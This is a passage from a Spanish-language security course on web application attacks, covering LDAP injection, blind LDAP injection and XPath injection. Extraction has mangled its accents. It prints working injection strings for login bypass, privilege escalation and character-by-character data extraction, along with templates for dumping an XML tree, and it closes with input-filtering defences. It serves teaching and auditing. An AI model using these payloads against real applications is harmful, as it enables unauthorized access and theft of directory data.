CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

